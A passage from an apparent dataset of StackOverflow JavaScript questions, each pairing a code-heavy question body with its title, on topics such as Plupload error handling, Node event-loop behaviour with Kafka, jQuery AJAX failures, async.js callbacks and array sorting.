'.plupload_buttons ' ) ; // Clear Button Action $ button.click ( function ( ) { removeErrorMessages ( ) ; $ uploader.splice ( ) ; $ ( `` .plupload_filelist_content '' ) .html ( `` ) ; $ button.button ( `` disable '' ) ; return true ; } ) ; // Clear Button Toggle Enabled $ uploader.bind ( 'QueueChanged ' , function ( ) { if ( $ uploader.files.length > 0 ) { $ button.button ( `` enable '' ) ; } else { $ button.button ( `` disable '' ) ; } } ) ; // Clear Button Toggle Hidden $ uploader.bind ( 'StateChanged ' , function ( ) { if ( $ uploader.state === plupload.STARTED ) { $ button.hide ( ) ; } else { $ button.show ( ) ; } } ) ; // Clear Button Toggle Hidden $ uploader.bind ( 'Browse ' , function ( ) { removeErrorMessages ( ) ; $ uploader.splice ( ) ; } ) ; $ uploader.bind ( 'FileUploaded ' , function ( up , file , info ) { var response ; response = jQuery.parseJSON ( info.response ) ; console.log ( `` -- next is response -- '' ) ; console.log ( response ) ; up.trigger ( `` error '' , { message : `` Fails : `` + file.name + '' jau atrodas šajā mapē ! < br > Augšupielādējamais fails < i > netika < /i > saglabāts ! `` , code : 12345 , details : `` Testing errors '' } ) ; $ ( `` # '' + file.id ) .addClass ( `` duplicateFile '' ) ; } ) ; function removeErrorMessages ( ) { $ ( `` .ui-state-error '' ) .remove ( ) ; } } ) ; < /script > { % endblock % } < ? phpnamespace Oneup\UploaderBundle\Uploader\ErrorHandler ; use Exception ; use Oneup\UploaderBundle\Uploader\Response\AbstractResponse ; class PluploadErrorHandler implements ErrorHandlerInterface { public function addException ( AbstractResponse $ response , Exception $ exception ) { $ message = $ exception- > getMessage ( ) ; $ response- > addToOffset ( array ( 'error ' = > $ message ) , array ( 'files ' ) ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < container xmlns= '' http : //symfony.com/schema/dic/services '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //symfony.com/schema/dic/services http : //symfony.com/schema/dic/services/services-1.0.xsd '' > < parameters > < parameter key= '' oneup_uploader.error_handler.noop.class '' > Oneup\UploaderBundle\Uploader\ErrorHandler\NoopErrorHandler < /parameter > < parameter key= '' oneup_uploader.error_handler.blueimp.class '' > Oneup\UploaderBundle\Uploader\ErrorHandler\BlueimpErrorHandler < /parameter > < parameter key= '' oneup_uploader.error_handler.dropzone.class '' > Oneup\UploaderBundle\Uploader\ErrorHandler\DropzoneErrorHandler < /parameter > < parameter key= '' oneup_uploader.error_handler.plupload.class '' > Oneup\UploaderBundle\Uploader\ErrorHandler\PluploadErrorHandler < /parameter > < /parameters > < services > < service id= '' oneup_uploader.error_handler.noop '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.blueimp '' class= '' % oneup_uploader.error_handler.blueimp.class % '' public= '' false '' > < argument type= '' service '' id= '' translator '' / > < /service > < service id= '' oneup_uploader.error_handler.dropzone '' class= '' % oneup_uploader.error_handler.dropzone.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.plupload '' class= '' % oneup_uploader.error_handler.plupload.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.fineuploader '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.uploadify '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.yui3 '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.fancyupload '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.mooupload '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < service id= '' oneup_uploader.error_handler.custom '' class= '' % oneup_uploader.error_handler.noop.class % '' public= '' false '' / > < /services > < /container >",No response when ValidationException is thrown using Plupload and Symfony3 "JS : Perhaps the underlying issue is how the node-kafka module I am using has implemented things , but perhaps not , so here we go ... Using the node-kafa library , I am facing an issue with subscribing to consumer.on ( 'message ' ) events . The library is using the standard events module , so I think this question might be generic enough.My actual code structure is large and complicated , so here is a pseudo-example of the basic layout to highlight my problem . ( Note : This code snippet is untested so I might have errors here , but the syntax is not in question here anyway ) What I am seeing here is when I start my server , there are 100,000 or so backlogged messages that kafka will want to give me and it does so through the event emitter . So I start to get messages . To get and log all the messages takes about 15 seconds.This is what I would expect to see for an output assuming the mysql query is reasonably fast : I would expect this because my first mysql result should be ready very quickly and I would expect the result ( s ) to take their turn in the event loop to have the response processed . What I am actually getting is : I am getting every single message before a mysql response is able to be processed . So my question is , why ? Why am I not able to get a single database result until all the message events are complete ? Another note : I set a break point at .emit ( 'message ' ) in node-kafka and at mysql.query ( ) in my code and I am hitting them turn-based . So it appears that all 100,000 emits are not stacking up up front before getting into my event subscriber . So there went my first hypothesis on the problem.Ideas and knowledge would be very appreciated : ) var messageCount = 0 ; var queryCount = 0 ; // Getting messages via some event Emitterconsumer.on ( 'message ' , function ( message ) { message++ ; console.log ( 'Message # ' + message ) ; // Making a database call for each message mysql.query ( 'SELECT `` test '' AS testQuery ' , function ( err , rows , fields ) { queryCount++ ; console.log ( 'Query # ' + queryCount ) ; } ) ; } ) Message # 1Message # 2Message # 3 ... Message # 500Query # 1Message # 501Message # 502Query # 2 ... and so on in some intermingled fashion Message # 1Message # 2 ... Message # 100000Query # 1Query # 2 ... Query # 100000",Node.js EventEmitter events not sharing event loop "JS : Why does Firefox randomly stop loading the < script > tag added dynamically with js ? On this picture , I load dynamically these scripts and I add them to the dom '' /assets/js/lib/socket.io-1.3.6.js '' '' /assets/js/lib/tweenmax.min.js '' '' /assets/js/lib.js '' '' /assets/js/module.js '' '' /assets/js/modules '' Quite randomly , the result is this , a big lag between a random script loaded dynamically and the rest of the scripts ( between 7-15s ) I actually load my scripts like thatEDIT : When I add scripts tags in my html page , the lag does n't appear , it only appears when I load the scripts with JavaScript . But I actually need to load these scripts with JavaScript.There is a fiddle of the bug https : //jsfiddle.net/ccgb0hqr/If the alert show up instantly refresh the page until the bug happens function ( url , callback ) { var elem = document.createElement ( `` script '' ) ; elem.async = true ; elem.src = url ; elem.type = `` text/javascript '' ; elem.onload = callback ; document.getElementsByTagName ( `` body '' ) [ 0 ] .appendChild ( elem ) ; }","Why does when i dynamically load a script , firefox randomly stop loading the tags scripts ?" "JS : I have this code block to post a HTTP request via jquery .post ( ) method.When it is successful it is easy to know which request we are dealing with , since the json returned by the server has the 'product_id ' that I need.But if it fails due to an error in which the server is not responsive , a connectivity problem for example , how can I tell which request has failed ? The data object has no clues because it only contains the server response.How can I pass a value to the .fail ( ) handler so I can determine which request has failed ? $ .post ( `` /product/update '' , formPostData ) .done ( function ( data ) { // success alert ( data.product_id + ' was updated ! ' ) ; } ) .fail ( function ( data ) { // fail , but which request ? } ) ;",How to tell which ajax request failed ? "JS : I keep getting an ETIMEDOUT or ECONNRESET error followed by a Callback was already called error when I run index.js.At first I thought it was because I was not including return prior to calling the onEachLimitItem callback . So I included it per the async multiple callbacks documentation . Still not solving it . I 've also tried removing the error event and removing the callback to onEachLimit in the error event , but neither has worked . I 've looked at the other SO questions around the issue of Callback already called , but because they are n't concerned with streams , I did n't find a solution.My understanding is that if the stream encounters an error like ECONNRESET , it will return the callback in the error event and move on to the next stream , but this does n't seem to be the case . It almost seems if the error resolves itself i.e . it re-connects and tries sending the errored steam up to Azure again and it works , then it triggers the 'finish ' event , and we get the Callback already called.Am I handling the callbacks within the stream events correctly ? var Q = require ( ' q ' ) ; var async = require ( 'async ' ) ; var webshot = require ( 'webshot ' ) ; var Readable = require ( 'stream ' ) .Readable ; var azure = require ( 'azure-storage ' ) ; var blob = azure.createBlobService ( '123 ' , '112244 ' ) ; var container = 'awesome ' ; var countries = [ 'en-us ' , 'es-us ' , 'en-au ' , 'de-at ' , 'pt-br ' , 'en-ca ' , 'fr-ca ' , 'cs-cz ' , 'ar-ly ' , 'es-ve ' , 'da-dk ' , 'fi-fi ' , 'de-de ' , 'hu-hu ' , 'ko-kr ' , 'es-xl ' , 'en-my ' , 'nl-nl ' , 'en-nz ' , 'nb-no ' , 'nn-no ' , 'pl-pl ' , 'ro-ro ' , 'ru-ru ' , 'ca-es ' , 'es-es ' , 'eu-es ' , 'gl-es ' , 'en-gb ' , 'es-ar ' , 'nl-be ' , 'bg-bg ' , 'es-cl ' , 'zh-cn ' , 'es-co ' , 'es-cr ' , 'es-ec ' , 'et-ee ' , 'fr-fr ' , 'el-gr ' , 'zh-hk ' , 'en-in ' , 'id-id ' , 'en-ie ' , 'he-il ' , 'it-it ' , 'ja-jp ' , 'es-mx ' , 'es-pe ' , 'en-ph ' ] ; var uploadStreamToStorage = function ( fileName , stream , onEachLimitItem ) { var readable = new Readable ( ) .wrap ( stream ) ; var writeable = blob.createWriteStreamToBlockBlob ( container , fileName ) ; readable.pipe ( writeable ) ; writeable.on ( 'error ' , function ( error ) { return onEachLimitItem.call ( error ) ; } ) ; writeable.on ( 'finish ' , function ( ) { onEachLimitItem.call ( null ) ; } ) ; } ; var takeIndividualScreenshot = function ( ID , country , onEachLimitItem ) { var fileName = ID + '- ' + country + '.jpg ' ; var url = 'https : //example.com/ ' + country + '/ ' + ID ; webshot ( url , function ( error , stream ) { if ( error ) { throw 'Screenshot not taken ' ; } uploadStreamToStorage ( fileName , stream , onEachLimitItem ) ; } ) ; } ; var getAllCountriesOfId = function ( ID ) { var deferred = Q.defer ( ) ; var limit = 5 ; function onEachCountry ( country , onEachLimitItem ) { takeIndividualScreenshot ( ID , country , onEachLimitItem ) ; } async.eachLimit ( countries , limit , onEachCountry , function ( error ) { if ( error ) { deferred.reject ( error ) ; } deferred.resolve ( ) ; } ) ; return deferred.promise ; } ; var createContainer = function ( ) { var df = Q.defer ( ) ; var self = this ; blob.createContainerIfNotExists ( this.container , this.containerOptions , function ( error ) { if ( error ) { df.reject ( error ) ; } df.resolve ( self.container ) ; } ) ; return df.promise ; } ; createContainer ( ) .then ( function ( ) { return getAllCountriesOfId ( '211007 ' ) ; } ) .then ( function ( ) { return getAllCountriesOfId ( '123456 ' ) ; } ) .fail ( function ( error ) { log.info ( error ) ; } ) ;",Async.js - ETIMEDOUT and Callback was already called "JS : Recently the application I work on upgraded from jQuery 1.7.1 to 1.10.2 with Migrate 1.2.1 included.After upgrading we noticed that jQuery returned different results for the extension method data depending on if the selector had any results . The attr extension method always returns undefined regardless of the selector results . Using the following HTML document I ran tests with versions 1.7.1 , 1.8.3 , 1.9.1 , and 1.10.2 . In 1.7.1 and 1.8.3 all results are undefined.In 1.9.1 and 1.10.2 results for an empty selector with .data ( `` blah '' ) switched from undefined to null.I 've reviewed the 1.9.0 upgrade documents as well as the 1.10.0 release notes and have n't found any indication of these changes . Does anyone know why this is ? Was it intentional ? I have included a fiddle to show how the various versions of jQuery have handled this.http : //jsfiddle.net/T5L6Y/6/ < html > < head > < /head > < body > < div id= '' results '' > trying to access .data member off a selector that returns no results < /div > < script type= '' text/javascript '' src= '' jQuery.js '' > < /script > < script type= '' text/javascript '' > $ ( function ( ) { var target = $ ( `` # results '' ) ; target.append ( `` < div > jQuery `` + $ .fn.jquery + `` = > `` + $ ( `` p '' ) .data ( `` blah '' ) + `` < /div > '' ) ; target.append ( `` < div > jQuery `` + $ .fn.jquery + `` = > `` + $ ( `` p '' ) .attr ( `` data-blah '' ) + `` < /div > '' ) ; target.append ( `` < div > jQuery `` + $ .fn.jquery + `` = > `` + $ ( `` body '' ) .data ( `` blah '' ) + `` < /div > '' ) ; target.append ( `` < div > jQuery `` + $ .fn.jquery + `` = > `` + $ ( `` body '' ) .attr ( `` data-blah '' ) + `` < /div > '' ) ; } ) ; < /script > < /body >",What changed in jQuery 1.9.1 to cause the .data extension method to return null instead of undefined when a selector returns no results ? "JS : With RequireJS on the front-end , we can listen to see when modules get loaded into the runtime module cache using : Can we do this with Node.js somehow ? Will be useful for debugging . Especially when servers are loading different files ( or in different order ) based on configuration.I assume this might be documented in https : //nodejs.org/api/modules.htmlbut I am not seeing anything requirejs.onResourceLoad = function ( context , map , depArray ) { console.log ( 'onResourceLoad > > > ' , 'map.id : ' , map.id , 'context : ' , context ) ; } ;",Node.js listen for module load "JS : Is it possible to create a js-data resource definition using a TypeScript class ? What I would like in general is having full typing support on computed property and instance method definitions.What would be awesome is something like this : and thenor go even further and define it likeand use it likeNote that these are only some thoughts on what I hope it would look like , I am aware that it does probably not work exactly like that . class SomeModel { public someBusinessModelValue = 'foo ' ; public someMoreValues = 'bar ' ; public get someComputedProperty ( ) { return this.someBusinessModelValue + someMoreValues ; } public instanceMethod ( param : string ) { return this.someMoveValues.search ( param ) ; } } DS.defineResource ( fromClass ( 'name ' , '/endpoint ' , 'idAttr ' , SomeModel ) ) ; class SomeModelStore extends SomeModel { name = 'name ' ; endpoint = 'endpoint ' ; idAttribute = 'idAttr ' ; relations = { // [ ... ] } } DS.defineResource ( SomeModelStore ) ;",Define js-data resource in TypeScript "JS : I am building an abstract table , each column in the table can contain either all numbers or all strings . Each column should be sortable by clicking on the column header.Currently I am using JS native sort and passing a compareFunction : In all the test cases I 've tried so far this appears to work . However , I know JS can be finicky with sorting , like how out of the box sort ( ) will sort arrays of numbers alphabetically.Can I rely on consistent correct sorting of both numbers and strings with the above approach ? If not , what is an example of data that will not be sorted properly this way . const rows = [ { name : 'Adam ' , age : 27 , rank : 3 } , { name : 'Zeek ' , age : 31 , rank : 1 } , { name : 'Nancy ' , age : 45 , rank : 4 } , { name : 'Gramps ' , age : 102 , rank : 2 } , ] const compareFn = ( x , y ) = > { const sortDirValue = this.state.sortDirection === 'DESC ' ? 1 : -1 if ( x [ this.state.sortBy ] === y [ this.state.sortBy ] ) return 0 return x [ this.state.sortBy ] < y [ this.state.sortBy ] ? sortDirValue : -sortDirValue } this.state = { sortBy : 'name ' , sortDirection : 'ASC ' } rows.sort ( compareFn ) console.log ( ' -- -- Sorted by alphabetical name -- -- ' ) console.log ( rows ) this.state = { sortBy : 'age ' , sortDirection : 'DESC ' } rows.sort ( compareFn ) console.log ( ' -- -- Sorted by descending age -- -- ' ) console.log ( rows )","In JS , can you rely on comparing strings with the `` > '' and `` < `` operators ?" "JS : Here is a function from a tutorial : SOURCEAnd the expression Array.prototype.splice.call ( arguments , [ 1 ] ) confuses me . Why 1 ? And why with brackets [ 1 ] ? If we pass 1 , it represents start position in splice ( ) , so it will skip the first argument we pass to add ( ) , hence it wo n't add all arguments ... Is this a mistake in the tutorial ? function add ( ) { var values = Array.prototype.splice.call ( arguments , [ 1 ] ) , total = 0 ; for ( var value of values ) { total += value ; } return total ; }",Array.prototype.splice - help to understand a lesson "JS : I have seen this in a piece of JS code : What does it do ? var { status , headers , body } = res ;","What does var { u , v , w } = x ; mean in Javascript ?" "JS : I was searching for an examples of server side coding and I tried Node and Express arbitrarily . After I try them example.js of each one shown below , I ran into a font differentiation between them . Ok I know express.js is a framework of Node.js but I could n't find anywhere about the reason or the underlying technology ( or main cause/feature of the typography ) Here is Node.js example ; and here is Express.js version handles the same job ; Shortly I wonder the reason of what exactly causing this to give different outputs . Besides , does each other server-side language give different outputs on the browser ? 0.oClick to see the outputs below , Express.js output Vs Node.js output const http = require ( 'http ' ) ; const hostname = '127.0.0.1 ' ; const port = 3000 ; const server = http.createServer ( ( req , res ) = > { res.statusCode = 200 ; res.setHeader ( 'Content-Type ' , 'text/plain ' ) ; res.end ( 'Hello World\n ' ) ; } ) ; server.listen ( port , hostname , ( ) = > { console.log ( ` Server running at http : // $ { hostname } : $ { port } / ` ) ; } ) ; var express = require ( 'express ' ) var app = express ( ) app.get ( '/ ' , function ( req , res ) { res.send ( 'Hello World ! ' ) } ) app.listen ( 3000 , function ( ) { console.log ( 'Example app listening on port 3000 ! ' ) } )",Node.js & Express.js Font Differentiation "JS : If we look at the latest jQuery source at http : //code.jquery.com/jquery-latest.js we see the following : My understanding of the new keyword in Javascript is essentially JavaScript passes the function an empty object { } and the function sets stuff on it via this.blah.Also from my understanding new differs from .call/.apply etc.. in that the return object also has the prototype set to that of the function . So the return value should have a prototype that the same as jQuery.prototype.init.prototype ( or jQuery.fn.init.prototype ) . However from what I see its prototype is set to jQuery.prototype thus all the commands available to work on the set.Why is this ? What am I missing in my understanding ? var jQuery = function ( selector , context ) { // The jQuery object is actually just the init constructor 'enhanced ' return new jQuery.fn.init ( selector , context ) ; }",Why does jQuery do this in its constructor function implementation ? "JS : Here is my code : Not sure why I am getting undefined in console . I feel like I am missing something very simple . var textArray = [ ' # text1 ' , ' # text2 ' , ' # text3 ' , ' # text4 ' , ' # text5 ' , ' # text6 ' , ' # text7 ' , ' # text8 ' ] $ ( ' # capture ' ) .click ( function ( ) { for ( var i in textArray ) { console.log ( $ ( i ) .offset ( ) ) ; } } ) ;",Why am I getting 'undefined ' in console ? JS : I want to make a link call a Javascript function through the onclick event and not do anything else ( follow the link ) . What is the best way to do that ? I usually do this : But I 'm not sure that is the best way and in this case it is navigating to page.html # which is n't good for what I 'm doing . < a href= '' # '' onclick= '' foo ( ) '' > Click < /a >,What is the right way to change the behavior of an < a > tag ? "JS : I want to delete a div and have all other div 's ( after ) within the wrapper reflow and animate ( slide ) nicely into their new places . At the moment it flicks around , things do n't always go in the right place , and general failure on my part.JsFiddle : http : //jsfiddle.net/CUzNx/30/HTMLJavascriptCSS < div class= '' container '' > < div id= '' item1 '' class= '' item '' > Test1 < /div > < div id= '' item2 '' class= '' item '' > Test2 < /div > < div id= '' item3 '' class= '' item '' > Test3 < /div > < div id= '' item4 '' class= '' item '' > Test4 < /div > < div id= '' item5 '' class= '' item '' > Test5 < /div > < div id= '' item6 '' class= '' item '' > Test6 < /div > < /div > var items = document.getElementsByClassName ( 'item ' ) ; for ( var i = 0 ; i < items.length ; i ++ ) { items [ i ] .onclick = function ( ) { this.classList.toggle ( 'hide ' ) ; } } ; .container { width : 500px ; } .item { float : left ; width : 48 % ; min-height : 187px ; border : 1px solid black ; margin : 0 1 % 1em 0 ; position : relative ; background : white ; transition : all .5s ease-in-out ; -webkit-transition : all .5s ease-in-out ; -moz-transition : all .5s ease-in-out ; -ms-transition : all .5s ease-in-out ; -o-transition : all .5s ease-in-out ; } .hide { width : 0px ; height : 100 % ; opacity:0 ; margin:0 ; padding:0 ; -webkit-backface-visibility : hidden ; -webkit-transform-style : preserve-3d ; }",Deleting div animation "JS : I have some working Javascript that manipulates the some DOM elements . The problem is , I do n't understand why it works , which is never a good thing . I am trying to learn more about object oriented javascript and javascript best practices , so the organization may seems a little strange . Basically , I wrap two methods that manipulate the DOM inside a CSContent object . I create an instance of that object , content in $ ( document ) .ready and bind some events to the functions in content . However , I am confused as to how these functions can still be called after $ ( document ) .ready exits . Does n't that mean that content has gone out of scope , and its functions are not available ? Anyway , here is the code : function CSContent ( ) { var tweetTextArea = document.getElementById ( 'cscontent-tweet ' ) , tweetTextElement = document.getElementById ( 'edit-cscontent-cs-content-tweet ' ) , charCountElement = document.getElementById ( 'cscontent-tweet-charactercount ' ) ; this.toggleTweetTextarea = function ( ) { $ ( tweetTextArea ) .slideToggle ( ) ; } ; this.updateTweetCharacterCount = function ( ) { var numOfCharsLeft = 140 - tweetTextElement.value.length ; if ( numOfCharsLeft < 0 ) { $ ( charCountElement ) .addClass ( 'cscontent-negative-chars-left ' ) ; } else { $ ( charCountElement ) .removeClass ( 'cscontent-negative-chars-left ' ) ; } charCountElement.innerHTML = `` + numOfCharsLeft + ' characters left . ' ; } ; } $ ( document ) .ready ( function ( ) { var content = new CSContent ( ) ; //If the twitter box starts out unchecked , then hide the text area if ( $ ( ' # edit-cscontent-cs-content-twitter : checked ' ) .val ( ) === undefined ) { $ ( ' # cscontent-tweet ' ) .hide ( ) ; } $ ( ' # edit-cscontent-cs-content-twitter ' ) .change ( content.toggleTweetTextarea ) ; //Seems wasteful , but we bind to keyup and keypress to fix some weird miscounting behavior when deleting characters . $ ( ' # edit-cscontent-cs-content-tweet ' ) .keypress ( content.updateTweetCharacterCount ) ; $ ( ' # edit-cscontent-cs-content-tweet ' ) .keyup ( content.updateTweetCharacterCount ) ; content.updateTweetCharacterCount ( ) ; } ) ;",Why does this Javascript object not go out of scope after $ ( document ) .ready ? "JS : When the checkbox is checked clone the correct div and show it on example : < div id= '' favorite '' > < /div > when the checkbox is unchecked remove the clone , accompanied by localStorage . Can someone help me to fix this ? When the checkbox is checked clone the correct div and show it on example : < div id= '' favorite '' > < /div > when the checkbox is unchecked remove the clone , accompanied by localStorage . Can someone help me to fix this ? function onClickAvGamesCheckBox ( ) { var arr = $ ( '.AvGamesCheckBox ' ) .map ( function ( ) { return this.checked ; } ) .get ( ) ; localStorage.setItem ( `` checked '' , JSON.stringify ( arr ) ) ; } $ ( document ) .ready ( function ( ) { var arr = JSON.parse ( localStorage.getItem ( 'checked ' ) ) || [ ] ; arr.forEach ( function ( checked , i ) { $ ( '.AvGamesCheckBox ' ) .eq ( i ) .prop ( 'checked ' , checked ) ; } ) ; $ ( `` .AvGamesCheckBox '' ) .click ( onClickAvGamesCheckBox ) ; } ) ; //* Clone script $ ( `` .avclone : checkbox '' ) .change ( function ( ) { var name = $ ( this ) .closest ( `` div '' ) .attr ( `` name '' ) ; if ( this.checked ) $ ( `` .columns [ name= '' + name + `` ] '' ) .clone ( ) .appendTo ( `` # favorite '' ) ; else $ ( `` # favorite .columns [ name= '' + name + `` ] '' ) .remove ( ) ; } ) ; * { box-sizing : border-box ; padding : 5px ; } .AvGamesContainer { display : block ; position : relative ; padding-left : 35px ; margin-bottom : 12px ; cursor : pointer ; font-size : 22px ; -webkit-user-select : none ; -moz-user-select : none ; -ms-user-select : none ; user-select : none ; } .AvGamesContainer input { position : absolute ; opacity : 0 ; display : none ; visibility : hidden ; cursor : pointer ; height : 0 ; width : 0 ; } .AvGamesCheckmark { position : absolute ; top : 26px ; right : 0 ; height : 25px ; width : 25px ; padding : 3px ! important ; background-color : # fff ; background-image : url ( `` https : //i.ibb.co/Yyp3QTL/addstar.png '' ) ; background-repeat : no-repeat ; background-position : center ; background-size : cover ; -webkit-border-top-right-radius : 5px ; -webkit-border-bottom-left-radius : 8px ; -moz-border-radius-topright : 5px ; -moz-border-radius-bottomleft : 8px ; border-top-right-radius : 5px ; border-bottom-left-radius : 8px ; z-index : 5 ; } .AvGamesContainer input : checked~.AvGamesCheckmark { background-color : # fff ; color : yellow ! important ; background-image : url ( `` https : //i.ibb.co/0J7XxyK/favstar.png '' ) ; background-repeat : no-repeat ; background-position : center ; background-size : cover ; } .AvGamesContainer : hover input~.AvGamesCheckmark { background-color : # fff ; } .AvGamesCheckmark : after { content : `` '' ; position : absolute ; display : none ; } .AvGamesContainer input : checked~.AvGamesCheckmark : after { display : none ; } .AvGamesContainer .AvGamesCheckmark : after { display : none ; } img { width : 100 % ; height : auto ; background : # fff ; border-radius : 10px ; -webkit-box-shadow : 0px 1px 5px 2px rgba ( 0 , 0 , 0 , 0.75 ) ; -moz-box-shadow : 0px 1px 5px 2px rgba ( 0 , 0 , 0 , 0.75 ) ; box-shadow : 0px 1px 5px 2px rgba ( 0 , 0 , 0 , 0.75 ) ; transition : all 0.5s ease-in-out 0s ; z-index : 4 ; } img : hover { -webkit-box-shadow : 0px 1px 5px 2px rgba ( 0 , 0 , 0 , 0.75 ) ; -moz-box-shadow : 0px 1px 5px 2px rgba ( 0 , 0 , 0 , 0.75 ) ; box-shadow : 0px 1px 5px 2px rgba ( 0 , 0 , 0 , 0.75 ) ; -webkit-filter : saturate ( 150 % ) ; } .column { float : left ; width : 50 % ; padding : 5px ; height : auto ; } .columns { position : relative ; border-radius : 10px ; text-align : center ; width : 99 % ; margin : 0 auto ; padding : 5px ; } .row : after { content : `` '' ; display : table ; clear : both ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js '' > < /script > < div class= '' avclone '' > < div class= '' column '' > < div class= '' columns '' > < label class= '' AvGamesContainer '' > < input type= '' checkbox '' name= '' AvGamesContainer '' class= '' AvGamesCheckBox '' > < span class= '' AvGamesCheckmark '' > < /span > < /label > < a href= '' https : //games.softgames.com/games/aquablitz-2/gamesites/7665/ '' data-path > < img src= '' https : //d1bjj4kazoovdg.cloudfront.net/assets/games/aquablitz-2/teaser.jpg ? p=pub-15088-15357 '' title= '' Aqua Blitz 2 '' > < /a > < /div > < /div > < div class= '' column '' > < div class= '' columns '' > < label class= '' AvGamesContainer '' > < input type= '' checkbox '' name= '' AvGamesContainer '' class= '' AvGamesCheckBox '' > < span class= '' AvGamesCheckmark '' > < /span > < /label > < a href= '' https : //games.softgames.com/games/daily-sudoku/gamesites/7665/ '' data-path > < img src= '' https : //d1bjj4kazoovdg.cloudfront.net/assets/games/daily-sudoku/teaser.jpg ? p=pub-15088-15357 '' title= '' Daily Sudoku '' > < /a > < /div > < /div > < /div > < div id= '' favorite '' > < /div >","Javascript on checked box clone this div , on unchecked remove this div" "JS : I 'm accustomed to writing Mocha tests using the standard NodeJs assert library like this : but now my call returns a promise ... so I want to write : but it does n't work . My tests do n't run at all . Curiously , works fine but the problem is that I want to make a single call and run many tests against it , so I want to make the call outside the it ( ) callsHow do I make it work ? and please do n't recommend Chai . I want to use the standard assert library describe ( 'Some module ' , ( ) = > { var result = someCall ( ) ; it ( 'Should < something > ' , ( ) = > { assert.ok ( ... ) ; } ) ; } ) describe ( 'Some module ' , async ( ) = > { var result = await someCall ( ) ; it ( 'Should < something > ' , ( ) = > { assert.ok ( ... ) ; } ) ; } ) describe ( 'Some module ' , async ( ) = > { it ( 'Should < something > ' , ( ) = > { var result = await someCall ( ) ; assert.ok ( ... ) ; } ) ; } )",How do I structure tests for asynchronous functions ? JS : I expect Bluebird forgotten return warning to appear but it does n't work for some reason.A demo : How can it be fixed to output a warning ? I suspect I already encountered this problem before but I do n't remember what was the solution . const Bluebird = require ( 'bluebird ' ) ; Bluebird.config ( { warnings : true } ) Bluebird.resolve ( 1 ) .then ( ( ) = > { Bluebird.resolve ( 2 ) ; // should warn about forgotten return } ) .then ( two = > console.log ( two ) ) ;,Bluebird forgotten return warning is missing "JS : A clientside javascript library I 've developed uses objects as hashes in some areas . It loops through objects parsed from Json data with a for ... in loop using the property name as a key . eg ... ( pseudo code ) Unfortunately MooTools ( and Prototype , etc ) add methods to the global namespaces , so my for ... in loops now iterate through MooTools ' additions ( eg . limit , round , times , each ) , causing errors when it applies logic to them as if it were the data expected.As it 's a library , I have to expect that it will be used with MooTools , Prototype , etc . Is there an easy way around this problem ? My current solution is just to pass the object to a method which strips out the MooTools specific entries and returns the clean object , but this means also checking what Prototype and all similar libraries out there add , and seems to be a backwards way of doing things.My other solution is to stop relying on the property name as a key , and perform validation in the loops to ensure I 'm looking at the data I want to . Before I do that rewriting though , I 'm wondering if anyone has a better/existing solution ? Thanks : ) var conversations = { 'sha1-string ' : { name : 'foo ' , messages : [ ] } } for ( var id in conversations ) { console.log ( id ) ; console.log ( conversations [ id ] .name ) ; }",Is there an easy way to remove mootools namespace pollution ? "JS : I have seen answers on StackOverflow where people suggest furnishing a callback function to an AngularJS service.This seems to me to be an Anti-Pattern . The $ http service returns promises and having .then methods execute callback functions feels like an unhealthy inversion of control.How does one re-factor code like this and how does one explain why the original way was not a good idea ? app.controller ( 'tokenCtrl ' , function ( $ scope , tokenService ) { tokenService.getTokens ( function callbackFn ( tokens ) { $ scope.tokens = tokens ; } ) ; } ) ; app.factory ( 'tokenService ' , function ( $ http ) { var getTokens = function ( callbackFn ) { $ http.get ( '/api/tokens ' ) .then ( function onFulfilled ( response ) { callbackFn ( response.data ) ; } ) ; } ; return { getTokens : getTokens } ; } ) ;",Why are Callbacks from Promise ` .then ` Methods an Anti-Pattern "JS : In the book `` JavaScript : The Good Parts '' , it explains method string.match ( regexp ) as below : The match method matches a string and a regular expression . How it does this depends on the g flag . If there is no g flag , then the result of calling string .match ( regexp ) is the same as calling regexp .exec ( string ) . However , if the regexp has the g flag , then it produces an array of all the matches but excludes the capturing groups : Then the book provides code example : My question is that I ca n't understand `` but excludes the capturing groups '' .In the code example above , html in the < /html > is in a capturing group . And why is it still included in the result array ? And / in the < /html > is also in a capturing group . And why is it included in the result array ? Could you explain `` but excludes the capturing groups '' with the code example above ? Thank you very much ! var text = ' < html > < body bgcolor=linen > < p > This is < b > bold < \/b > ! < \/p > < \/body > < \/html > ' ; var tags = / [ ^ < > ] +| < ( \/ ? ) ( [ A-Za-z ] + ) ( [ ^ < > ] * ) > /g ; var a , i ; a = text.match ( tags ) ; for ( i = 0 ; i < a.length ; i += 1 ) { document.writeln ( ( '// [ ' + i + ' ] ' + a [ i ] ) .entityify ( ) ) ; } // The result is// [ 0 ] < html > // [ 1 ] < body bgcolor=linen > // [ 2 ] < p > // [ 3 ] This is// [ 4 ] < b > // [ 5 ] bold// [ 6 ] < /b > // [ 7 ] ! // [ 8 ] < /p > // [ 9 ] < /body > // [ 10 ] < /html >",I ca n't accurately understand how does JavaScript 's method string.match ( regexp ) 's g flag work "JS : I 'm trying to create a group Channel with a cover photo , According to the documentation I can add a url or a file coverUrl : the file or URL of the cover image , which you can fetch to render into the UI.But when adding a file , I 'm always getting : `` SendBirdException '' , code : 800110 , message : `` Invalid arguments . `` Is there a way to create a group with a file instead of a url ( since I want the user to upload the file ) ? Thanks , this.sendBirdInstance.GroupChannel.createChannelWithUserIds ( userIds , true , this.groupName , this.groupPhotoFile , `` , function ( createdChannel , error ) { ... }",SendBird create GroupChannel with file as cover "JS : I have the following stringI want to convert is to an object like : Any elegant way to doing this appreciated . `` : All ; true : Yes ; false : & nbsp '' var listItems = [ { itemValue : `` '' , itemText : `` All '' } , { itemValue : true , itemText : `` Yes '' } , { itemValue : false , 